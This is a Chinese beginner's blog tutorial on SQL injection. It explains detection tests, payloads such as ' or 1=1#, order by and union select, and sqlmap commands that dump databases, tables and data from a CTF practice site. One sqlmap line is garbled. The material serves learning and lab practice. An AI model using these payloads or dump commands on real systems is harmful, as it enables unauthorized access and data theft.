初识SQL注入

作者: 楠昭 | 来源:发表于2018-03-11 12:16 被阅读40次

一、基础

1. 定义

SQL注入是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。
【自行理解:只要有要求用户输入的地方,就会有连接数据库的操作,由于用户可以输入任何东西,所以就能也能输入sql代码来搞破坏】

2. 分类

  • 数字型:select * from <表名> where id = 1
  • 字符型:select * from <表名> where id = 'x'

3. 一般流程

step1:寻找注入点

找到网站中传递参数的地方,比如按编号查询商品的页面,如http://xxx/xxx.php?id= 45再进行判断

  • 数字型
    step1:在url中输入http://xxx/xxx.php?id=x and 1=1页面正常,则进入下一步
    step2: 再输入http://xxx/xxx.php?id=x and 1=2页面出错,则说明存在数字型注入
    (原因:若是字符型注入,那么
    真正执行的sql语句其实是select * from <表名> where id = 'x and 1=2'这样的,并不会存在逻辑判断)

    补充判断
  • 字符型
    step1:在url中输入http://xxx/xxx.php?id=x' and '1'='1页面正常,则进入下一步
    step2: 再输入http://xxx/xxx.php?id=x' and '1'='2页面出错,则说明存在字符型注入
    补充
step2:猜解数据库字段

猜解原理:以dvwa为例
源码:$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
我们要做的就是通过控制user_id的输入达到获取数据库中信息的目的,比如输入' or 1=1#则真正执行的sql语句是
SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1#`;
这里' or 1=1#也叫万能密码,原理很简单,对于执行的sql语句,user_id传入什么不要紧,后面的1=1永远成立,再注意加注释#表示把后面的 `去掉,根据or运算的性质,有一个条件为真,这句话就可以执行

  • 你猜有没有xxx表?--- ' or exists (select * from xxx)#
  • 你猜xxx表里有几个字段呀?--- 1' order by N#
    (注:order by N的意思是按表中第N字段排列,其中N就是你要试的数,如果表里有2个字段,则执行order by 1和order by 2都正常,而执行order by 3出错)
  • 你猜表里的字段都有那些呀?--- 1' unoin select x1,x2 from 表名
    (注1:Union查询可查询两个及以上字段,若上一步判断得表中主查询列数为2,则每次使union查询两项)
    (注2:常用查询
    database()将会返回当前网站所使用的数据库名字.
    user()将会返回执行当前查询的用户名.
    version() 获取当前数据库版本.
    @@version_compile_os 获取当前操作系统。
    table_name 数据库中其他表
    table_schema 数据库的模式
    username 用户名
    password 密码)

二、使用神器sqlmap

1.爆当前数据库名:sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-db

2.爆表名: -D 指定上一步爆出的数据库名 my_db

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

3.爆列名(字段名), -T 指定上一步爆出的表名 admin

sqlmap -u "爆列名(字段名), -T 指定上一步爆出的表名 admin

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns --no-cast

4.爆字段中存储的数据值:使用-D my_db -T thiskey -C k0y --dump 参数得到值

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

相关文章

  • 初识SQL注入

    一、基础 1. 定义 SQL注入是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应...

  • 初识SQL注入

    sql注入 SQL注入的产生过程 转义字符处理不当 类型处理不当 查询集处理不当 错误处理不当 多个提交处理不当(...

  • 一、 初识sql注入

    什么是sql注入? sql注入就是将SQL语句插入到用户输入或接收数据的地方,数据库执行后将结果返回到前台。 产生...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 第四章 SQL 注入

    要点 SQL注入 SQL注入防护 一、SQL注入 SQL注入:黑客会通过构造一些恶意的输入参数,在应用拼接 SQL...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

  • 谈谈sql注入之语句构造手法(二)

    谈谈sql注入(一)谈谈sql注入(三)谈谈sql注入(四)SQL注入的手法相当灵活,在注入的时候会碰到很多意外的...

网友评论

  • RedTeamWing:后期可以再完善一下
    楠昭:@Evilwing 嗯嗯,一定,现在算初识,后续会继续改进的:sweat_smile:

本文标题:初识SQL注入

本文链接:https://www.haomeiwen.com/subject/ndxzixtx.html